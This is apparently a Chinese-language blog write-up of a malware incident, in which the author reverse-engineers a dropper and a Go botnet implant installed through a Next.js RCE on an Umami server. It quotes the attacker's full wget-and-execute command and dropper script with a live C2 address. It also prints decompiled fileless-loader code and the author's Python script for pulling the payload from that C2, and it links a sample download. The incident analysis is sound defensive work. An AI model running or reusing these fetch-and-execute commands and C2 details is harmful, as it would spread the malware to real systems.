记服务器因CVE-2025-66478,CVE-2025-55182被挂C2的逆向分析经历 背景 周六傍晚休息的时候阿里云突然给打电话，说服务器可能受到黑客入侵。上阿里云控制台看了一眼： 担心的事情还是发生了，近期披露的CVE-2025-55182漏洞可以被RCE，服务器上运行的Umami统计工具使用了包含漏洞的Next.JS版本。早上的时候我手动更新了一下我的Umami，但是看起来官方还并未发布相关更新。服务器告警来源就是umami镜像，执行了一个远程的Shell脚本。 作为一个CTFer，这送上门的样本不研究一下说不过去吧（ 分析 脚本 阿里云给出的警告可以看到执行shell脚本： /bin/sh -c wget https://sup001.oss-cn-hongkong.aliyuncs.com/123/python1.sh && chmod 777 python1.sh && ./python1.sh 尝试手动下载下来那个python1.sh： export PATH=$PATH:/bin:/usr/bin:/sbin:/usr/local/bin:/usr/sbin mkdir -p /tmp cd /tmp touch /usr/local/bin/writeablex >/dev/null 2>&1 && cd /usr/local/bin/ touch /usr/libexec/writeablex >/dev/null 2>&1 && cd /usr/libexec/ touch /usr/bin/writeablex >/dev/null 2>&1 && cd /usr/bin/ rm -rf /usr/local/bin/writeablex /usr/libexec/writeablex /usr/bin/writeablex export PATH=$PATH:$(pwd) l64="119.45.243.154:8443/?h=119.45.243.154&p=8443&t=tcp&a=l64&stage=true" l32="119.45.243.154:8443/?h=119.45.243.154&p=8443&t=tcp&a=l32&stage=true" a64="119.45.243.154:8443/?h=119.45.243.154&p=8443&t=tcp&a=a64&stage=true" a32="119.45.243.154:8443/?h=119.45.243.154&p=8443&t=tcp&a=a32&stage=true" v="042d0094tcp" rm -rf $v ARCH=$(uname -m) if [ ${ARCH}x = "x86_64x" ]; then (curl -fsSL -m180 $l64 -o $v||wget -T180 -q $l64 -O $v||python -c 'import urllib;urllib.urlretrieve("http://'$l64'", "'$v'")') elif [ ${ARCH}x = "i386x" ]; then (curl -fsSL -m180 $l32 -o $v||wget -T180 -q $l32 -O $v||python -c 'import urllib;urllib.urlretrieve("http://'$l32'", "'$v'")') elif [ ${ARCH}x = "i686x" ]; then (curl -fsSL -m180 $l32 -o $v||wget -T180 -q $l32 -O $v||python -c 'import urllib;urllib.urlretrieve("http://'$l32'", "'$v'")') elif [ ${ARCH}x = "aarch64x" ]; then (curl -fsSL -m180 $a64 -o $v||wget -T180 -q $a64 -O $v||python -c 'import urllib;urllib.urlretrieve("http://'$a64'", "'$v'")') elif [ ${ARCH}x = "armv7lx" ]; then (curl -fsSL -m180 $a32 -o $v||wget -T180 -q $a32 -O $v||python -c 'import urllib;urllib.urlretrieve("http://'$a32'", "'$v'")') fi chmod +x $v (nohup $(pwd)/$v > /dev/null 2>&1 &) || (nohup ./$v > /dev/null 2>&1 &) || (nohup /usr/bin/$v > /dev/null 2>&1 &) || (nohup /usr/libexec/$v > /dev/null 2>&1 &) || (nohup /usr/local/bin/$v > /dev/null 2>&1 &) || (nohup /tmp/$v > /dev/null 2>&1 &) # 发现是根据CPU架构下载对应版本的ELF文件。 加载器 尝试手动下载上面脚本中的amd64架构的二进制，并通过IDA Pro打开： int __fastcall main(int argc, const char **argv, const char **envp) { struct hostent *v3; // rax in_addr_t v4; // eax int v5; // eax int v6; // ebx int v7; // r12d int v8; // edx _BYTE *v9; // rax __int64 v10; // rcx _DWORD *v11; // rdi _BYTE buf[2]; // [rsp+2h] [rbp-1476h] BYREF int optval; // [rsp+4h] [rbp-1474h] BYREF char *argva[2]; // [rsp+8h] [rbp-1470h] BYREF sockaddr addr; // [rsp+1Ch] [rbp-145Ch] BYREF char name[33]; // [rsp+2Fh] [rbp-1449h] BYREF char resolved[1024]; // [rsp+50h] [rbp-1428h] BYREF _BYTE v19[4136]; // [rsp+450h] [rbp-1028h] BYREF if ( !access("/tmp/log_de.log", 0) ) exit(0); qmemcpy(name, "119.45.243.154", sizeof(name)); *(_QWORD *)&addr.sa_family = 4213178370LL; *(_QWORD *)&addr.sa_data[6] = 0LL; v3 = gethostbyname(name); if ( v3 ) v4 = **(_DWORD **)v3->h_addr_list; else v4 = inet_addr(name); *(_DWORD *)&addr.sa_data[2] = v4; v5 = socket(2, 1, 0); v6 = v5; if ( v5 >= 0 ) { optval = 10; setsockopt(v5, 6, 7, &optval, 4u); while ( connect(v6, &addr, 0x10u) == -1 ) sleep(0xAu); send(v6, "l64 ", 6uLL, 0); buf[0] = addr.sa_data[0]; buf[1] = addr.sa_data[1]; send(v6, buf, 2uLL, 0); send(v6, name, 0x20uLL, 0); v7 = syscall(319LL, "a", 0LL); if ( v7 >= 0 ) { while ( 1 ) { v8 = recv(v6, v19, 0x1000uLL, 0); if ( v8 <= 0 ) break; v9 = v19; do *v9++ ^= 0x99u; while ( (int)((_DWORD)v9 - (unsigned int)v19) < v8 ); write(v7, v19, v8); } v10 = 1024LL; v11 = v19; while ( v10 ) { *v11++ = 0; --v10; } close(v6); realpath(*argv, resolved); setenv("CWD", resolved, 1); argva[0] = "[kworker/0:2]"; argva[1] = 0LL; fexecve(v7, argva, _bss_start); } } return 0; } 分析发现主要的几个危险操作： v7 = syscall(319LL, "a", 0LL);，319是Linux x64架构下的memfd_create系统调用，用于在内存中创建匿名文件。随后，从目标服务器下载Payload，加载到这段内存中并执行。这是一个Fileless Malware，他不会将payload存储在磁盘中，而是直接加载进内存。 *v9++ ^= 0x99u;，将从服务器下载到的Payload按字节异或0x99，进行解密，可能是用于绕过防火墙 argva[0] = "[kworker/0:2]";，将本进程伪装成内核的kworker进程 其他操作： 通过检测是否存在日志文件/tmp/log_de.log，判断服务器是否已经被入侵，若已经被入侵则直接退出 连接C2服务器完成或失败后会间隔10秒再次尝试连接并加载Payload 从上述逆向代码可很明显的看出发马的服务器IP为119.45.243.154，但是端口没找到。分析一下设置端口部分的代码： *(_QWORD *)&addr.sa_family = 4213178370LL; 其中，4213178370LL(DEC)=0xFB200002(HEX)，因为是QWORD，即64位值，所以实际值为0x00000000FB200002。同时因为是小端序，所以实际存储在内存的offset中的格式是02 00 20 FB 00 00 00 00。 sockaddr在内存中的offset一般是： offset 0–1：sa_family（2 字节） offset 2–15：sa_data（14 字节） 也就是说，上述赋值语句实现了： offset 0: sa_family的低字节=0x02 offset 1: sa_family的高字节=0x00 offset 2: sa_data[0]=0x20 offset 3: sa_data[1]=0xFB offset 4..7: sa_data[2..5]=0x00 0x00 0x00 0x00 其中，sa_data[0..1]代表了端口，sa_data[2..5]代表IP。因为网络字节序为大端序，因此实际端口就是0x20FB，即8443。后面也可找到赋值IP的部分： v3 = gethostbyname(name); if ( v3 ) v4 = **(_DWORD **)v3->h_addr_list; else v4 = inet_addr(name); *(_DWORD *)&addr.sa_data[2] = v4; 编写一个Python脚本，按照这个加载器中的逻辑连接服务器并尝试加载Payload到ELF文件： import socket import time import os C2_HOST = "119.45.243.154" C2_PORT = 8443 OUTPUT_FILE = "payload.elf" def xor_decode(data): return bytes([b ^ 0x99 for b in data]) def main(): # 删除旧的文件 if os.path.exists(OUTPUT_FILE): os.remove(OUTPUT_FILE) while True: try: print(f"[+] Connecting to C2 {C2_HOST}:{C2_PORT} ...") s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((C2_HOST, C2_PORT)) print("[+] Connected.") # Handshake s.send(b"l64 ") s.send(b"\x20\xfb") # fake port s.send(b"119.45.243.154".ljust(32, b"\x00")) print("[+] Handshake sent.") print(f"[+] Writing decrypted ELF data to {OUTPUT_FILE}\n") with open(OUTPUT_FILE, "ab") as f: while True: data = s.recv(4096) if not data: print("[-] C2 closed connection.") break decrypted = xor_decode(data) f.write(decrypted) print(f"[+] Received {len(data)} bytes, written to file.") print("[*] Reconnecting in 10 seconds...\n") time.sleep(10) except Exception as e: print(f"[-] Error: {e}") print("[*] Reconnecting in 10 seconds...\n") time.sleep(10) if __name__ == "__main__": main() 运行可得到一个ELF文件payload.elf。 Payload.elf 先丢到微步云沙箱里检测一下，发现确实是个木马： 但是沙箱并未检测出一些高危行为。问了一下Reverse方向的学长，把样本发给对方研究了一下发现是Golang编写的。使用GoReSym导出符号表，并加载进IDA Pro： \GoReSym.exe payload.elf > symbols.json 让AI编写一个IDA Pro的脚本导入符号表： import json import idc import idaapi import idautils # ⚠️ 修改这里：指向你刚才生成的 symbols.json 文件路径 json_path = r"D:\\Desktop\\symbols.json" def restore_symbols(): print("[-] Loading symbols from JSON...") try: with open(json_path, 'r', encoding='utf-8') as f: data = json.load(f) except Exception as e: print(f"[!] Error opening file: {e}") return # 1. 恢复用户函数 (UserFunctions) count = 0 for func in data.get('UserFunctions', []): start_addr = func['Start'] # 你的 JSON 里全是混淆名字，比如 shK3zqV.O86rtPRpp # 我们主要关心完整的 FullName full_name = func['FullName'] # 清理名称中 IDA 不喜欢的字符 safe_name = full_name.replace("(", "_").replace(")", "_").replace("*", "ptr_").replace("/", "_") # 尝试重命名 if idc.set_name(start_addr, safe_name, idc.SN_NOWARN | idc.SN_NOCHECK) == 1: # 可选：如果重命名成功，尝试让 IDA 重新分析该处为代码 idc.create_insn(start_addr) idc.add_func(start_addr) count += 1 print(f"[+] Successfully renamed {count} functions.") if __name__ == "__main__": restore_symbols() 在IDA中通过File-Script file选择上述脚本即可导入符号表。同时，将符号表发给AI分析，发现存在一些对OSS存储桶的一些操作函数： (*Config).GetAccessKeyID / GetAccessKeySecret / GetSecurityToken -> 窃取或使用云凭证。 Bucket.PutObjectFromFile -> 上传文件（极可能是在窃取你服务器上的数据并上传到攻击者的 OSS Bucket）。 Bucket.DoPutObject -> 执行上传操作。 (*Config).LimitUploadSpeed / LimitDownloadSpeed -> 限制带宽占用，防止被你发现网络异常。 混淆后的包名 真实包/功能推测 证据 (Artifacts) 行为描述 ojQuzc_T Aliyun OSS SDK PutObjectFromFile, GetAccessKeySecret 连接阿里云 OSS，上传/下载文件，窃取凭证。 l2FdnE6 os/exec (命令执行) (*Ps1Jpr8w8).Start, StdinPipe, Output 执行系统命令。它在调用 Linux shell 命令。 qzjJr5PCHfoj os / 文件系统操作 Readdir, Chown, Truncate, SyscallConn 遍历目录、修改文件权限、读写文件。 PqV1YDIP godbus/dbus (D-Bus) (*Conn).BusObject, (*Conn).Eavesdrop 连接 Linux D-Bus。可能用于权限提升、监控系统事件或与 systemd 交互。 c376cVel0vv math/rand NormFloat64, Shuffle, Int63 生成随机数。常用于生成通信密钥或挖矿算法的随机性。 r_zJbsaQ net (网络底层) DialContext, Listen, Accept, SetKeepAlive 建立 TCP/UDP 连接，可能是 C2 通信或作为后门监听端口。 J9ItGl7U net/http2 http2ErrCode, WriteHeaders, WriteData 使用 HTTP/2 协议进行通信（可能用于隐藏 C2 流量）。 Otkxde ECC 密码学库 ScalarMult, Double, SetGenerator 椭圆曲线加密。可能是为了加密 C2 通信，或者是勒索软件的加密模块。 可推测一些可能的程序逻辑： 持久化与控制 (D-Bus & Net): 它尝试通过 PqV1YDIP 包连接 D-Bus，这在服务器恶意软件中较少见，可能试图劫持系统服务或监控管理员行为。 它通过 r_zJbsaQ 监听端口或反弹连接。 数据窃取 (Aliyun OSS): 它并没有将数据传回普通的 C2 服务器 IP，而是利用阿里云 OSS 作为“中转站”。这是一种非常聪明的做法，因为指向阿里云的流量通常会被防火墙视为白名单流量，很难被发现。 命令执行 (os/exec): 它包含完整的 Shell 执行能力 (l2FdnE6)，可以执行任意命令、下载脚本、修改文件权限。 可能的勒索或挖矿特征: 大量的数学运算库（Otkxde, HfBi9x4DOLl 等包包含大量的 Mul, Add, Square, Invert）暗示了它是 计算密集型 的。 如果是勒索软件：这些数学库用于生成密钥加密文件。 如果是挖矿木马：这些库用于计算哈希。结合它使用了 math/rand 的 Shuffle 和 NormFloat64，这符合某些挖矿算法（如 RandomX）的特征。 进一步分析，最终找到了这样一个函数UXTgUQ_stlzy_RraJUM： 丢给AI分析，结论是： 这是一个非常典型的 Golang 编写的 C2 (Command & Control) 指令分发函数。 结合你之前提供的“Linux 加载器”上下文，这个函数属于被那个加载器下载并执行的核心木马程序（Bot）。 1. 代码总览与定位 功能: 指令分发器 (Command Dispatcher)。这是木马的主循环逻辑之一，负责接收 C2 服务器发送的指令字符串，解析并执行对应的恶意功能。 安全机制: 函数开头有一个鉴权检查 if ( v18 == a2 && (unsigned __int8)sub_4035C0() )。如果校验失败，直接返回 "401 Not Auth"，说明该木马具有一定的反扫描或会话认证机制。 2. 指令集详细逆向 代码通过 switch ( a4 ) 判断指令字符串的长度，然后检查具体的内容。这里有大量的硬编码字符串和 Hex 值： Case 1 (单字符指令 - 基础控制) 这通常是早期版本残留或为了减少流量设计的简写指令： I: 调用 os_rename。功能：重命名文件。 E: 调用 os_removeAll。功能：删除文件/清理痕迹。 J: 返回 "0" 或未知。可能用于心跳检测或状态查询。 Z: 返回 "mysql_close\t1"。功能：数据库相关，推测该木马包含 MySQL 爆破或连接模块，此指令用于关闭连接。 H: 可能是获取主机信息 (Host Info)。 其他单字母 (A-Y): 分别调用了不同的子函数（如 sub_7CAF40 等），通常对应：开启代理、执行 Shell 命令、获取系统负载等。 Case 4 (四字符指令) Hex: 1414092869 -> Little Endian: 0x54495845 -> "EXIT" 功能: 终止木马进程。 Case 8 (八字符指令 - 核心功能) 这是最关键的部分，暴露了木马的核心能力： Download Hex: 0x64616F6C6E776F44LL -> "Download" 功能: 下载器功能。从指定 URL 下载文件。 代码逻辑: 如果 a11 (回调函数或接口) 存在，它会调用并处理下载结果。 LocalRun Hex: 0x6E75526C61636F4CLL -> "LocalRun" 功能: 本地执行。可能是执行本地的一个 Shell 脚本或二进制文件。 Case 9 (九字符指令 - 高级攻击) InjectRun Hex: 0x75527463656A6E49LL + 'n' -> "InjectRun" 功能: 内存注入执行。这是一个高级功能，配合你之前看到的 memfd_create，这通常指将 Payload 注入到其他进程或在内存中直接运行，不落地。 PluginRun Hex: 0x75526E6967756C50LL + 'n' -> "PluginRun" 功能: 插件执行。说明该木马是模块化的，可以动态加载 .so 或 Go 的 plugin 模块来扩展功能（如加密货币挖矿、DDoS 攻击、端口扫描等）。 3. 响应构造逻辑 在 switch 结束后，代码有一段复杂的字符串拼接逻辑： *(_WORD *)v71 = 15917 -> ASCII | 和 } ? 或者特定的分隔符。 *(_BYTE *)(v80 + v79 + 2) = 45 -> ASCII -。 结论: 木马会将命令执行的结果（如“OK”、“Error”或具体数据）用特定的分隔符（如 |<result>-）包裹后回传给 C2。 4. 总结与画像 结合上一段代码（Loader），我们可以对这个木马做一个完整的画像： 家族推测: 这种 InjectRun / PluginRun / LocalRun 的命名风格，以及 Golang 编写、支持模块化插件的特征，极有可能是 Spark 僵尸网络或者其变种（如 Sliver C2 修改版，但更像黑产自研的 Bot）。也有可能是 Sysrv-hello 挖矿蠕虫的变种（它们常混合使用 Go 和 Exploit）。 攻击链条: Loader: 也就是之前的那个 C 代码，负责环境判断、持久化、内存中下载 Bot。 Bot (本代码): 也就是这个 Go 程序，常驻内存。 Modules: 通过 PluginRun 动态下发挖矿模块 (XMRig) 或 DDoS 攻击模块。 Lateral Movement (横向移动): mysql_close 暗示它有扫描弱口令的能力，通过 InjectRun 感染内网其他机器。 总结 主要是感觉没什么继续分析的意义了，这个逻辑基本上可以判定是典型的Botnet，找到的IP有99%的概率都是被操控的僵尸机，去调查也没有意义。 主要还是总结一下教训，如何防止这类事情发生，对于我这种小规模的个人网站，爆出CVE最好立刻先停用有关一切服务，等确定修复的版本放出后再更新并重新启用 样本下载： Payload.zip 注：此样本未经任何处理，请勿在不加安全措施的情况下直接运行！ 密码20251206